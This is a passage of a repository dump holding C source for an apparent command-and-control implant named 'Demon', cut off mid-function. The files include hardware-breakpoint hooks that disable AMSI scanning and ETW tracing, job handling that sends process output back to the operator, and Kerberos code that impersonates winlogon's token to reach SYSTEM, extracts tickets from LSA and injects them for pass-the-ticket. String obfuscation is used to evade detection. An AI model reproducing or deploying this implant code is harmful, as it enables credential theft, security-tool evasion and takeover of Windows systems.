Instance->Win32.RtlRemoveVectoredExceptionHandler( HwBpEngine->Veh );\n\n    BpEntry = HwBpEngine->Breakpoints;\n\n    /* remove all breakpoints and free memory */\n    do {\n        /* check if BpEntry is NULL */\n        if ( ! BpEntry ) {\n            break;\n        }\n\n        /* get next element from linked list */\n        BpNext = BpEntry->Next;\n\n        /* disable hardware breakpoinnt */\n        HwBpEngineSetBp( BpEntry->Tid, BpEntry->Address, BpEntry->Position, FALSE );\n\n        /* zero out struct */\n        MemZero( BpEntry, sizeof( BP_LIST ) );\n\n        /* free memory struct */\n        MmHeapFree( BpEntry );\n\n        BpEntry = BpNext;\n    } while ( TRUE );\n\n    /* free global state */\n    if ( HwBpEngine == Instance->HwBpEngine ) {\n        MmHeapFree( HwBpEngine );\n\n        Instance->HwBpEngine = NULL;\n    }\n\n    HwBpEngine = NULL;\n\n    return STATUS_SUCCESS;\n}\n\n/*!\n * Global exception handler\n * @param Exception\n * @return\n */\nLONG ExceptionHandler(\n    _Inout_ PEXCEPTION_POINTERS Exception\n) {\n    PBP_LIST BpEntry = NULL;\n    BOOL     Found   = FALSE;\n\n    if ( Exception->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP )\n    {\n        PRINTF( \"Exception Address: %p\\n\", Exception->ExceptionRecord->ExceptionAddress )\n\n        BpEntry = Instance->HwBpEngine->Breakpoints;\n\n        /* search in linked list for bp entry */\n        while ( BpEntry )\n        {\n            /* check if it's the address we want */\n            if ( BpEntry->Address == Exception->ExceptionRecord->ExceptionAddress ) {\n                Found = TRUE;\n\n                /* remove breakpoint so that the handler can call the original function */\n                HwBpEngineSetBp( BpEntry->Tid, BpEntry->Address, BpEntry->Position, FALSE );\n\n                /* execute registered exception handler */\n                ( ( VOID (*)( PEXCEPTION_POINTERS ) ) BpEntry->Function ) ( Exception );\n\n                /* restore breakpoint */\n                HwBpEngineSetBp( BpEntry->Tid, BpEntry->Address, BpEntry->Position, TRUE );\n\n                break;\n            }\n\n            /* Next entry */\n            BpEntry = BpEntry->Next;\n        }\n\n        PRINTF( \"Found exception handler: %s\\n\", Found ? \"TRUE\" : \"FALSE\" )\n        if ( Found ) {\n            return EXCEPTION_CONTINUE_EXECUTION;\n        }\n    }\n\n    return EXCEPTION_CONTINUE_SEARCH;\n}\n"
  },
  {
    "path": "payloads/Demon/src/core/HwBpExceptions.c",
    "content": "#include <Demon.h>\n#include <core/HwBpExceptions.h>\n\n#if _WIN64\n\nVOID HwBpExAmsiScanBuffer(\n    _Inout_ PEXCEPTION_POINTERS Exception\n) {\n    PVOID Return = NULL;\n\n    /* get AmsiResult param */\n    EXCEPTION_ARG_5( Exception ) = 0;\n\n    /* set return to S_OK */\n    EXCEPTION_SET_RET( Exception, 0x80070057 ); /* invalid parameter */\n\n    /* just return now */\n    Return = EXCEPTION_GET_RET( Exception );\n    EXCEPTION_ADJ_STACK( Exception, sizeof( PVOID ) );\n    EXCEPTION_SET_RIP( Exception, U_PTR( Return ) );\n}\n\nVOID HwBpExNtTraceEvent(\n    _Inout_ PEXCEPTION_POINTERS Exception\n) {\n    PVOID Return = NULL;\n\n    /* just return without tracing an event */\n    Return = EXCEPTION_GET_RET( Exception );\n    EXCEPTION_ADJ_STACK( Exception, sizeof( PVOID ) );\n    EXCEPTION_SET_RIP( Exception, U_PTR( Return ) );\n}\n\n#endif\n"
  },
  {
    "path": "payloads/Demon/src/core/Jobs.c",
    "content": "#include <Demon.h>\n\n#include <core/Jobs.h>\n#include <core/Package.h>\n#include <core/MiniStd.h>\n#include <core/ObjectApi.h>\n\n/*!\n * JobAdd\n * Adds a job to the job linked list\n * @param JobID\n * @param Type type of job: thread or process\n * @param State current state of the job: suspended or running\n * @param Data Data pointer to extra data\n * @return\n */\nVOID JobAdd( UINT32 RequestID, DWORD JobID, SHORT Type, SHORT State, HANDLE Handle, PVOID Data )\n{\n    PRINTF( \"Add job => JobID:[%d] Type:[%d] State:[%d] Handle:[%d] Data:[%p]\\n\", JobID, Type, State, Handle, Data )\n\n    PJOB_DATA JobList = NULL;\n    PJOB_DATA Job     = NULL;\n\n    Job = Instance->Win32.LocalAlloc( LPTR, sizeof( JOB_DATA ) );\n\n    // fill the Job info and insert it into our linked list\n    Job->RequestID = RequestID;\n    Job->JobID     = JobID;\n    Job->Type      = Type;\n    Job->State     = State;\n    Job->Handle    = Handle;\n    Job->Data      = Data;\n    Job->Next      = NULL;\n\n    if ( Instance->Jobs == NULL )\n    {\n        Instance->Jobs = Job;\n        return;\n    }\n\n    JobList = Instance->Jobs;\n\n    do {\n        if ( JobList )\n        {\n            if ( JobList->Next != NULL )\n                JobList = JobList->Next;\n            else\n            {\n                JobList->Next = Job;\n                break;\n            }\n        } else\n            break;\n\n    } while ( TRUE );\n}\n\n/*!\n * Check if all jobs are still running and exists\n * @return\n */\nVOID JobCheckList()\n{\n    PJOB_DATA JobList = NULL;\n\n    JobList = Instance->Jobs;\n\n    do {\n        if ( ! JobList )\n            break;\n\n        switch ( JobList->Type )\n        {\n            case JOB_TYPE_PROCESS:\n            {\n                if ( JobList->State == JOB_STATE_RUNNING )\n                {\n                    DWORD Return = 0;\n                    Instance->Win32.GetExitCodeProcess( JobList->Handle, &Return );\n\n                    if ( Return != STILL_ACTIVE )\n                        JobList->State = JOB_STATE_DEAD;\n                }\n                break;\n            }\n\n            case JOB_TYPE_THREAD:\n            {\n                if ( JobList->State == JOB_STATE_RUNNING )\n                {\n                    DWORD Return = 0;\n                    Instance->Win32.GetExitCodeThread( JobList->Handle, &Return );\n\n                    if ( Return != STILL_ACTIVE )\n                        JobList->State = JOB_STATE_DEAD;\n                }\n\n                break;\n            }\n\n            case JOB_TYPE_TRACK_PROCESS:\n            {\n                if ( JobList->State == JOB_STATE_RUNNING )\n                {\n                    DWORD Status = 0;\n\n                    Instance->Win32.GetExitCodeProcess( JobList->Handle, &Status );\n\n                    if ( Status != STILL_ACTIVE )\n                    {\n                        PUTS( \"Tracking process is dead.\" )\n                        JobList->State = JOB_STATE_DEAD;\n                        AnonPipesRead( ( ( PANONPIPE ) JobList->Data ), JobList->RequestID );\n\n                        // notify the TS that the process is dead, so that the RequestID can be closed\n                        PPACKAGE Package = PackageCreateWithRequestID( DEMON_COMMAND_JOB, JobList->RequestID );\n                        PackageAddInt32( Package, DEMON_COMMAND_JOB_DIED );\n                        PackageTransmit( Package );\n\n                        // free resources\n                        SysNtClose( JobList->Handle );\n                        JobList->Handle = NULL;\n                        if ( ( ( PANONPIPE ) JobList->Data )->StdOutWrite )\n                        {\n                            SysNtClose( ( ( PANONPIPE ) JobList->Data )->StdOutWrite );\n                            (( PANONPIPE ) JobList->Data )->StdOutWrite = NULL;\n                        }\n\n                        if ( ( ( PANONPIPE ) JobList->Data )->StdOutRead )\n                        {\n                            SysNtClose( ( ( PANONPIPE ) JobList->Data )->StdOutRead );\n                            ( ( PANONPIPE ) JobList->Data )->StdOutRead = NULL;\n                        }\n                        DATA_FREE( JobList->Data, sizeof( ANONPIPE ) )\n                        JobList->Data = NULL;\n\n                        // remove the job entry\n                        JobRemove( JobList->JobID );\n                    }\n                    else\n                    {\n                        // just read what there is available.\n                        DWORD Available = 0;\n                        PVOID Buffer    = NULL;\n                        DWORD Size      = 0;\n\n                        if ( Instance->Win32.PeekNamedPipe( ( ( PANONPIPE ) JobList->Data )->StdOutRead, NULL, 0, NULL, &Available, 0 ) )\n                        {\n                            PRINTF( \"PeekNamedPipe: Available anon size %d\\n\", Available );\n\n                            if ( Available > 0 )\n                            {\n                                Size   = Available;\n                                Buffer = Instance->Win32.LocalAlloc( LPTR, Size );\n\n                                if ( Instance->Win32.ReadFile( ( ( PANONPIPE ) JobList->Data )->StdOutRead, Buffer, Available, &Available, NULL ) )\n                                {\n                                    PPACKAGE Package = PackageCreateWithRequestID( DEMON_OUTPUT, JobList->RequestID );\n                                    PackageAddBytes( Package, Buffer, Available );\n                                    PackageTransmit( Package );\n                                }\n\n                                DATA_FREE( Buffer, Size )\n                            }\n                        }\n                    }\n                }\n\n                break;\n            }\n        }\n\n        JobList = JobList->Next;\n    } while ( TRUE );\n}\n\n/*!\n * JobSuspend\n * Suspends the specified job\n * @param JobID\n * @return\n */\nBOOL JobSuspend( DWORD JobID )\n{\n    PJOB_DATA JobList = Instance->Jobs;\n\n    while ( JobList )\n    {\n        if ( JobList->JobID == JobID )\n        {\n            PRINTF( \"Found Job ID: %d\", JobID )\n\n            if ( JobList->Type == JOB_TYPE_THREAD )\n            {\n                PUTS( \"Suspending Thread\" )\n                HANDLE   Handle   = JobList->Handle;\n                NTSTATUS NtStatus = STATUS_SUCCESS;\n\n                if ( Handle )\n                {\n                    NtStatus = SysNtSuspendThread( JobList->Handle, NULL );\n                    if ( NT_SUCCESS( NtStatus ) ) {\n                        JobList->State = JOB_STATE_SUSPENDED;\n                        return TRUE;\n                    } else {\n                        return FALSE;\n                    }\n                }\n                else\n                {\n                    PUTS( \"Handle is empty\" )\n                    return FALSE;\n                }\n            }\n        }\n\n        JobList = JobList->Next;\n    }\n\n    return FALSE;\n}\n\n/*!\n * JobSuspend\n * Suspends the specified job\n * @param JobID\n * @return\n */\nBOOL JobResume( DWORD JobID )\n{\n    PJOB_DATA JobList = Instance->Jobs;\n\n    while ( JobList )\n    {\n        if ( JobList->JobID == JobID )\n        {\n            PRINTF( \"Found Job ID: %d\", JobID )\n\n            if ( JobList->Type == JOB_TYPE_THREAD )\n            {\n                PUTS( \"Resume Thread\" )\n                HANDLE   Handle   = JobList->Handle;\n                NTSTATUS NtStatus = STATUS_SUCCESS;\n\n                if ( Handle )\n                {\n                    NtStatus = SysNtResumeThread( JobList->Handle, NULL );\n                    if ( NT_SUCCESS( NtStatus ) )\n                    {\n                        JobList->State = JOB_STATE_RUNNING;\n                        return TRUE;\n                    }\n                    else\n                        return FALSE;\n                }\n                else\n                {\n                    PUTS( \"Handle is empty\" )\n                    return FALSE;\n                }\n            }\n        }\n\n        JobList = JobList->Next;\n    }\n\n    return FALSE;\n}\n\n/*!\n * JobKill\n * Kills and remove the specified job\n * @param JobID\n * @return\n */\nBOOL JobKill( DWORD JobID )\n{\n    BOOL      Success = FALSE;\n    PJOB_DATA JobList = Instance->Jobs;\n\n    while ( JobList )\n    {\n        if ( JobList->JobID == JobID )\n        {\n            Success = TRUE;\n            PRINTF( \"Found Job ID: %d\\n\", JobID )\n\n            switch ( JobList->Type )\n            {\n                case JOB_TYPE_THREAD:\n                {\n                    if ( JobList->State != JOB_STATE_DEAD )\n                    {\n                        PUTS( \"Kill Thread\" )\n                        NTSTATUS NtStatus = STATUS_SUCCESS;\n\n                        if ( JobList->Handle )\n                        {\n                            PUTS( \"Kill using handle\" )\n\n                            if ( ! NT_SUCCESS( NtStatus = Instance->Win32.NtTerminateThread( JobList->Handle, STATUS_SUCCESS ) ) )\n                            {\n                                PRINTF( \"TerminateThread NtStatus:[%ul]\\n\", NtStatus )\n                                NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) );\n                                PACKAGE_ERROR_WIN32;\n                                Success = FALSE;\n                            }\n                            else\n                            {\n                                // remove one thread from counter\n                                Instance->Threads--;\n                            }\n                        }\n                        else\n                        {\n                            PUTS( \"Handle is empty\" )\n                            Success = FALSE;\n                        }\n                    }\n                    break;\n                }\n\n                case JOB_TYPE_PROCESS:\n                {\n                    if ( JobList->State != JOB_STATE_DEAD )\n                    {\n                        Instance->Win32.TerminateProcess( JobList->Handle, 0 );\n                    }\n                    break;\n                }\n\n                case JOB_TYPE_TRACK_PROCESS:\n                {\n                    if ( JobList->State != JOB_STATE_DEAD )\n                    {\n                        Instance->Win32.TerminateProcess( JobList->Handle, 0 );\n\n                        // just read what there is available.\n                        DWORD Available = 0;\n                        PVOID Buffer    = NULL;\n\n                        if ( Instance->Win32.PeekNamedPipe( ( ( PANONPIPE ) JobList->Data )->StdOutRead, NULL, 0, NULL, &Available, 0 ) )\n                        {\n                            PRINTF( \"PeekNamedPipe: Available anon size %d\\n\", Available );\n\n                            if ( Available > 0 )\n                            {\n                                DWORD Size = Available;\n                                Buffer = Instance->Win32.LocalAlloc( LPTR, Size );\n\n                                if ( Instance->Win32.ReadFile( ( ( PANONPIPE ) JobList->Data )->StdOutRead, Buffer, Available, &Available, NULL ) )\n                                {\n                                    PPACKAGE Package = PackageCreateWithRequestID( DEMON_OUTPUT, JobList->RequestID );\n                                    PackageAddBytes( Package, Buffer, Available );\n                                    PackageTransmit( Package );\n                                }\n\n                                DATA_FREE( Buffer, Size )\n                            }\n                        }\n                    }\n\n                    break;\n                }\n            }\n\n            JobRemove( JobID );\n        }\n\n        JobList = JobList->Next;\n    }\n\n    return Success;\n}\n\n/*!\n * JobRemove\n * Remove the specified job\n * @param ThreadID\n * @return\n */\nVOID JobRemove( DWORD JobID )\n{\n    // Iterate over Job list and replace/remove job\n    PRINTF( \"Remove JobID: %d\\n\", JobID );\n    PUTS( \"Iterate over Job list and replace/remove job\" )\n    PJOB_DATA JobList     = NULL;\n    PJOB_DATA JobToRemove = NULL;\n\n    if ( Instance->Jobs && Instance->Jobs->JobID == JobID )\n    {\n        JobToRemove = Instance->Jobs;\n        Instance->Jobs = JobToRemove->Next;\n    }\n    else\n    {\n        JobList = Instance->Jobs;\n\n        while ( JobList )\n        {\n            if ( JobList->Next && JobList->Next->JobID == JobID )\n            {\n                JobToRemove = JobList->Next;\n                JobList->Next = JobToRemove->Next;\n            }\n            else\n            {\n                JobList = JobList->Next;\n            }\n        }\n    }\n\n    if ( ! JobToRemove )\n    {\n        PRINTF( \"JobID %d not found\\n\", JobID );\n        return;\n    }\n\n    if ( JobToRemove->Handle )\n        SysNtClose( JobToRemove->Handle );\n\n    if ( ( JobToRemove->Type == JOB_TYPE_TRACK_PROCESS ) && JobToRemove->Data )\n    {\n        DATA_FREE( JobToRemove->Data, sizeof( ANONPIPE ) )\n    }\n\n    MemSet( JobToRemove, 0, sizeof( JOB_DATA ) );\n    Instance->Win32.LocalFree( JobToRemove );\n    JobToRemove = NULL;\n}\n"
  },
  {
    "path": "payloads/Demon/src/core/Kerberos.c",
    "content": "\n#include <Demon.h>\n#include <core/Kerberos.h>\n#include <core/Win32.h>\n#include <core/MiniStd.h>\n#include <core/Token.h>\n\nBOOL IsHighIntegrity(HANDLE TokenHandle)\n{\n    BOOL                     Success             = FALSE;\n    BOOL                     ReturnValue         = TRUE;\n    SID_IDENTIFIER_AUTHORITY NtAuthority         = SECURITY_NT_AUTHORITY;\n    PSID                     AdministratorsGroup = NULL;\n\n    Success = Instance->Win32.AllocateAndInitializeSid( &NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &AdministratorsGroup );\n    if ( Success )\n    {\n        if ( ! Instance->Win32.CheckTokenMembership( NULL, AdministratorsGroup, &ReturnValue ) )\n        {\n            ReturnValue = FALSE;\n        }\n        Instance->Win32.FreeSid( AdministratorsGroup );\n        AdministratorsGroup = NULL;\n    }\n\n    return Success && ReturnValue;\n}\n\nDWORD GetProcessIdByName(WCHAR* processName)\n{\n    HANDLE          hProcessSnap = NULL;\n    PROCESSENTRY32W pe32         = { 0 };\n    DWORD           Pid          = -1;\n\n    hProcessSnap = Instance->Win32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);\n    if ( hProcessSnap == INVALID_HANDLE_VALUE )\n    {\n        return Pid;\n    }\n\n    pe32.dwSize = sizeof(PROCESSENTRY32W);\n    if ( ! Instance->Win32.Process32FirstW( hProcessSnap, &pe32 ) )\n    {\n        SysNtClose( hProcessSnap );\n        return Pid;\n    }\n\n    do {\n        if ( StringCompareW( pe32.szExeFile, processName ) == 0 )\n        {\n            Pid = pe32.th32ProcessID;\n            break;\n        }\n\n    } while (Instance->Win32.Process32NextW(hProcessSnap, &pe32));\n\n    SysNtClose( hProcessSnap );\n    return Pid;\n}\n\nBOOL ElevateToSystem()\n{\n    NTSTATUS          NtStatus       = 0;\n    OBJECT_ATTRIBUTES ObjAttr        = { sizeof( ObjAttr ) };\n    WCHAR             winlogon[ 13 ] = { 0 };\n    HANDLE            hProcess       = NULL;\n    BOOL              ReturnValue    = FALSE;\n    HANDLE            hDupToken      = FALSE;\n    HANDLE            hToken         = FALSE;\n    DWORD             ProcessID      = 0;\n\n    winlogon[ 11 ] = HideChar('e');\n    winlogon[ 4 ]  = HideChar('o');\n    winlogon[ 2 ]  = HideChar('n');\n    winlogon[ 6 ]  = HideChar('o');\n    winlogon[ 7 ]  = HideChar('n');\n    winlogon[ 5 ]  = HideChar('g');\n    winlogon[ 12 ] = HideChar(0);\n    winlogon[ 3 ]  = HideChar('l');\n    winlogon[ 9 ]  = HideChar('e');\n    winlogon[ 8 ]  = HideChar('.');\n    winlogon[ 1 ]  = HideChar('i');\n    winlogon[ 0 ]  = HideChar('w');\n    winlogon[ 10 ] = HideChar('x');\n    ProcessID = GetProcessIdByName(winlogon);\n    MemZero( winlogon, sizeof( winlogon ) );\n    if (ProcessID == -1)\n    {\n        PUTS( \"Failed to find the PID of Winlogon.exe\" )\n        return FALSE;\n    }\n\n    hProcess = ProcessOpen( ProcessID, PROCESS_QUERY_LIMITED_INFORMATION );\n    if ( hProcess )\n    {\n        if ( NT_SUCCESS( NtStatus = SysNtOpenProcessToken( hProcess, TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE, &hToken ) ) )\n        {\n            if ( TokenDuplicate(\n                hToken,\n                TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY,\n                SecurityImpersonation | SecurityIdentification, TokenPrimary,\n                &hDupToken\n            ) ) {\n                if ( SysImpersonateLoggedOnUser( hDupToken ) )\n                {\n                    ReturnValue = TRUE;\n                }\n                SysNtClose( hDupToken );\n            }\n            else\n            {\n                PRINTF( \"TokenDuplicate: Failed [%d]\\n\", Instance->Win32.RtlNtStatusToDosError( NtStatus ) )\n            }\n            SysNtClose( hToken );\n        }\n        else\n        {\n            PRINTF( \"NtOpenProcessToken: Failed [%d]\\n\", Instance->Win32.RtlNtStatusToDosError( NtStatus ) )\n        }\n\n        SysNtClose( hProcess );\n    }\n    else\n    {\n        PRINTF( \"NtOpenProcessToken: Failed [%d]\\n\", Instance->Win32.RtlNtStatusToDosError( NtStatus ) )\n    }\n\n    return ReturnValue;\n}\n\nBOOL IsSystem( HANDLE TokenHandle )\n{\n    HANDLE                   hToken     = NULL;\n    UCHAR                    bTokenUser[sizeof(TOKEN_USER) + 8 + 4 * SID_MAX_SUB_AUTHORITIES];\n    PTOKEN_USER              pTokenUser = (PTOKEN_USER)bTokenUser;\n    ULONG                    cbTokenUser;\n    SID_IDENTIFIER_AUTHORITY siaNT      = SECURITY_NT_AUTHORITY;\n    PSID                     pSystemSid = NULL;\n    BOOL                     bSystem    = FALSE;\n\n    if ( ! Instance->Win32.GetTokenInformation( hToken, TokenUser, pTokenUser, sizeof(bTokenUser), &cbTokenUser ) )\n    {\n        return FALSE;\n    }\n\n    if ( ! Instance->Win32.AllocateAndInitializeSid(&siaNT, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid) )\n        return FALSE;\n\n    bSystem = Instance->Win32.EqualSid( pTokenUser->User.Sid, pSystemSid );\n    Instance->Win32.FreeSid( pSystemSid );\n\n    return bSystem;\n}\n\nNTSTATUS GetLsaHandle( HANDLE hToken, BOOL highIntegrity, PHANDLE hLsa )\n{\n    HANDLE               hLsaLocal = NULL;\n    LSA_OPERATIONAL_MODE mode      = 0;\n    NTSTATUS             status    = STATUS_SUCCESS;\n\n    if ( ! highIntegrity )\n    {\n        status = Instance->Win32.LsaConnectUntrusted( &hLsaLocal );\n        if ( ! NT_SUCCESS( status ) )\n        {\n            status = Instance->Win32.LsaNtStatusToWinError( status );\n        }\n    }\n    else\n    {\n        // AuditPol.exe /set /subcategory:\"Security System Extension\"\n        // /success:enable /failure:enable Event ID 4611 Note: detect elevation via\n        CHAR name[10] = { 0 }; // Winlogon\n        name[ 2 ] =  HideChar('n');\n        name[ 8 ] =  HideChar('n');\n        name[ 4 ] =  HideChar('o');\n        name[ 0 ] =  HideChar('W');\n        name[ 1 ] =  HideChar('i');\n        name[ 7 ] =  HideChar('o');\n        name[ 6 ] =  HideChar('g');\n        name[ 3 ] =  HideChar('l');\n        name[ 9 ] =  HideChar('\\0');\n        name[ 5 ] =  HideChar('o');\n        STRING lsaString = (STRING){.Length = 8, .MaximumLength = 9, .Buffer = name};\n        status = Instance->Win32.LsaRegisterLogonProcess( (PLSA_STRING)&lsaString, &hLsaLocal, &mode );\n        if ( ! NT_SUCCESS( status ) || ! hLsaLocal )\n        {\n            if ( IsSystem( hToken ) )\n            {\n                status = Instance->Win32.LsaRegisterLogonProcess( (PLSA_STRING)&lsaString, &hLsaLocal, &mode );\n                if ( ! NT_SUCCESS( status ) )\n                {\n                    status = Instance->Win32.LsaNtStatusToWinError( status );\n                }\n            }\n            else\n            {\n                if ( ElevateToSystem() )\n                {\n                    status = Instance->Win32.LsaRegisterLogonProcess( (PLSA_STRING)&lsaString, &hLsaLocal, &mode );\n                    if ( ! NT_SUCCESS( status ) ) {\n                        status = Instance->Win32.LsaNtStatusToWinError( status );\n                    }\n                    TokenRevSelf();\n                }\n                else\n                {\n                    status = NtGetLastError();\n                }\n            }\n        }\n        MemZero( name, sizeof( name ) );\n    }\n    *hLsa = hLsaLocal;\n    return status;\n}\n\nNTSTATUS GetLogonSessionData( LUID luid, PLOGON_SESSION_DATA* data )\n{\n    PLOGON_SESSION_DATA          sessionData = NULL;\n    PSECURITY_LOGON_SESSION_DATA logonData   = NULL;\n    NTSTATUS                     status      = STATUS_UNSUCCESSFUL;\n\n    sessionData = Instance->Win32.LocalAlloc( LPTR, sizeof( LOGON_SESSION_DATA ) );\n    if ( ! sessionData )\n        return status;\n\n    if ( luid.LowPart != 0 )\n    {\n        status = Instance->Win32.LsaGetLogonSessionData( &luid, &logonData );\n        if ( NT_SUCCESS( status ) )\n        {\n            sessionData->sessionData = Instance->Win32.LocalAlloc( LPTR, sizeof(*sessionData->sessionData) );\n            if ( sessionData->sessionData != NULL )\n            {\n                sessionData->sessionCount = 1;\n                sessionData->sessionData[0] = logonData;\n                *data = sessionData;\n            }\n            else\n            {\n                status = STATUS_MEMORY_NOT_ALLOCATED;\n            }\n        }\n    }\n    else\n    {\n        ULONG logonSessionCount;\n        PLUID logonSessionList;\n        status = Instance->Win32.LsaEnumerateLogonSessions( &logonSessionCount, &logonSessionList );\n        if ( NT_SUCCESS( status ) )\n        {\n            sessionData->sessionData = Instance->Win32.LocalAlloc( LPTR, logonSessionCount * sizeof(*sessionData->sessionData) );\n            if ( sessionData->sessionData != NULL )\n            {\n                sessionData->sessionCount = logonSessionCount;\n                for ( int i = 0; i < logonSessionCount; i++ )\n                {\n                    LUID luid2 = logonSessionList[i];\n                    status = Instance->Win32.LsaGetLogonSessionData( &luid2, &logonData );\n                    if ( NT_SUCCESS(status) )\n                    {\n                        sessionData->sessionData[i] = logonData;\n                    }\n                    else\n                    {\n                        sessionData->sessionData[i] = NULL;\n                    }\n                }\n                Instance->Win32.LsaFreeReturnBuffer( logonSessionList );\n                *data = sessionData;\n            }\n            else\n            {\n                status = STATUS_MEMORY_NOT_ALLOCATED;\n            }\n        }\n    }\n\n    return status;\n}\n\nVOID ExtractTicket( HANDLE hLsa, ULONG authPackage, LUID luid, UNICODE_STRING targetName, PUCHAR* ticket, PUINT32 ticketSize )\n{\n    PKERB_RETRIEVE_TKT_REQUEST  retrieveRequest  = NULL;\n    PKERB_RETRIEVE_TKT_RESPONSE retrieveResponse = NULL;\n    ULONG                       responseSize     = sizeof( KERB_RETRIEVE_TKT_REQUEST ) + targetName.MaximumLength;\n    NTSTATUS                    status           = STATUS_UNSUCCESSFUL;\n    NTSTATUS                    protocolStatus   = STATUS_UNSUCCESSFUL;\n    ULONG                       TicketSize       = 0;\n    PBYTE                       Ticket           = NULL;\n\n    retrieveRequest = Instance->Win32.LocalAlloc( LPTR, responseSize * sizeof( KERB_RETRIEVE_TKT_REQUEST ) );\n    if ( ! retrieveRequest )\n        return;\n\n    //retrieveRequest->MessageType = KerbRetrieveEncodedTicketMessage;\n    retrieveRequest->MessageType = 8;\n    retrieveRequest->LogonId = luid;\n    retrieveRequest->TicketFlags = 0;\n    retrieveRequest->CacheOptions = KERB_RETRIEVE_TICKET_AS_KERB_CRED;\n    retrieveRequest->EncryptionType = 0;\n    retrieveRequest->TargetName = targetName;\n    retrieveRequest->TargetName.Buffer = ( PWSTR )( (PBYTE )retrieveRequest + sizeof( KERB_RETRIEVE_TKT_REQUEST ));\n    MemCopy( retrieveRequest->TargetName.Buffer, targetName.Buffer, targetName.MaximumLength );\n\n    status = Instance->Win32.LsaCallAuthenticationPackage( hLsa, authPackage, retrieveRequest, responseSize, (LPVOID*)&retrieveResponse, &responseSize, &protocolStatus );\n    if ( NT_SUCCESS( status ) && NT_SUCCESS( protocolStatus ) )\n    {\n        if ( NT_SUCCESS( protocolStatus ) )\n        {\n            TicketSize = retrieveResponse->Ticket.EncodedTicketSize;\n            Ticket = Instance->Win32.LocalAlloc( LPTR, TicketSize );\n            if ( Ticket )\n            {\n                MemCopy( Ticket, retrieveResponse->Ticket.EncodedTicket, TicketSize );\n                *ticket     = Ticket;\n                *ticketSize = TicketSize;\n            }\n        }\n        else\n        {\n            PRINTF( \"[!] LsaCallAuthenticationPackage: %lx\\n\", protocolStatus )\n        }\n    }\n    else\n    {\n        PRINTF( \"[!] LsaCallAuthenticationPackage: %lx\\n\", status )\n    }\n\n    if ( retrieveResponse )\n        Instance->Win32.LsaFreeReturnBuffer( retrieveResponse );\n    if ( retrieveRequest )\n        Instance->Win32.LocalFree( retrieveRequest );\n}\n\nVOID CopySessionInfo( PSESSION_INFORMATION Session, PSECURITY_LOGON_SESSION_DATA Data )\n{\n    // UserName\n    MemCopy( Session->UserName, Data->UserName.Buffer, Data->UserName.Length );\n    // Domain\n    MemCopy( Session->Domain, Data->LogonDomain.Buffer, Data->LogonDomain.Length );\n    // LogonId\n    Session->LogonId.LowPart  = Data->LogonId.LowPart;\n    Session->LogonId.HighPart = Data->LogonId.HighPart;\n    // Session\n    Session->Session = Data->Session;\n    // UserSID\n    WCHAR* sid = NULL;\n    if ( Instance->Win32.ConvertSidToStringSidW(Data->Sid, &sid) )\n    {\n        StringCopyW( Session->UserSID, sid );\n        Instance->Win32.LocalFree( sid ); sid = NULL;\n    }\n    // LogonTime\n    Session->LogonTime.QuadPart = Data->LogonTime.QuadPart;\n    // LogonType\n    Session->LogonType = Data->LogonType;\n    // AuthenticationPackage\n    MemCopy( Session->AuthenticationPackage, Data->AuthenticationPackage.Buffer, Data->AuthenticationPackage.Length );\n    // LogonServer\n    MemCopy( Session->LogonServer, Data->LogonServer.Buffer, Data->LogonServer.Length );\n    // LogonServerDNSDomain\n    MemCopy( Session->LogonServerDNSDomain, Data->DnsDomainName.Buffer, Data->DnsDomainName.Length );\n    // Upn\n    MemCopy( Session->Upn, Data->Upn.Buffer, Data->Upn.Length );\n    // Tickets\n    Session->Tickets = NULL;\n}\n\nVOID CopyTicketInfo( PTICKET_INFORMATION TicketInfo, PKERB_TICKET_CACHE_INFO_EX Data )\n{\n    // ClientName\n    MemCopy( TicketInfo->ClientName, Data->ClientName.Buffer, Data->ClientName.Length );\n    // ClientRealm\n    MemCopy( TicketInfo->ClientRealm, Data->ClientRealm.Buffer, Data->ClientRealm.Length );\n    // ServerName\n    MemCopy( TicketInfo->ServerName, Data->ServerName.Buffer, Data->ServerName.Length );\n    // ServerRealm\n    MemCopy( TicketInfo->ServerRealm, Data->ServerRealm.Buffer, Data->ServerRealm.Length );\n    // StartTime\n    TicketInfo->StartTime.LowPart  = Data->StartTime.LowPart;\n    TicketInfo->StartTime.HighPart = Data->StartTime.HighPart;\n    // EndTime\n    TicketInfo->EndTime.LowPart  = Data->EndTime.LowPart;\n    TicketInfo->EndTime.HighPart = Data->EndTime.HighPart;\n    // RenewTime\n    TicketInfo->RenewTime.LowPart  = Data->RenewTime.LowPart;\n    TicketInfo->RenewTime.HighPart = Data->RenewTime.HighPart;\n    // EncryptionType\n    TicketInfo->EncryptionType = Data->EncryptionType;\n    // TicketFlags\n    TicketInfo->TicketFlags = Data->TicketFlags;\n    // Ticket\n    TicketInfo->Ticket.Buffer = NULL;\n    TicketInfo->Ticket.Length = 0;\n}\n\nBOOL Ptt( HANDLE hToken, PBYTE Ticket, DWORD TicketSize, LUID luid )\n{\n    BOOL                     ReturnValue    = FALSE;\n    BOOL                     highIntegrity  = FALSE;\n    HANDLE                   hLsa           = NULL;\n    LSA_STRING               krbAuth        = {.Buffer = NULL, .Length = 8, .MaximumLength = 9};\n    NTSTATUS                 status         = STATUS_UNSUCCESSFUL;\n    NTSTATUS                 protocolStatus = STATUS_UNSUCCESSFUL;\n    ULONG                    authPackage    = 0;\n    PKERB_SUBMIT_TKT_REQUEST submitRequest  = NULL;\n    DWORD                    submitSize     = sizeof( KERB_SUBMIT_TKT_REQUEST ) + TicketSize;\n    PVOID                    response       = NULL;\n    ULONG                    responseSize   = 0;\n    CHAR                     name[9]        = { 0 };\n\n    name[ 5 ] = HideChar('r');\n    name[ 0 ] = HideChar('k');\n    name[ 8 ] = HideChar( 0);\n    name[ 1 ] = HideChar('e');\n    name[ 2 ] = HideChar('r');\n    name[ 7 ] = HideChar('s');\n    name[ 3 ] = HideChar('b');\n    name[ 6 ] = HideChar('o');\n    name[ 4 ] = HideChar('e');\n\n    krbAuth.Buffer = 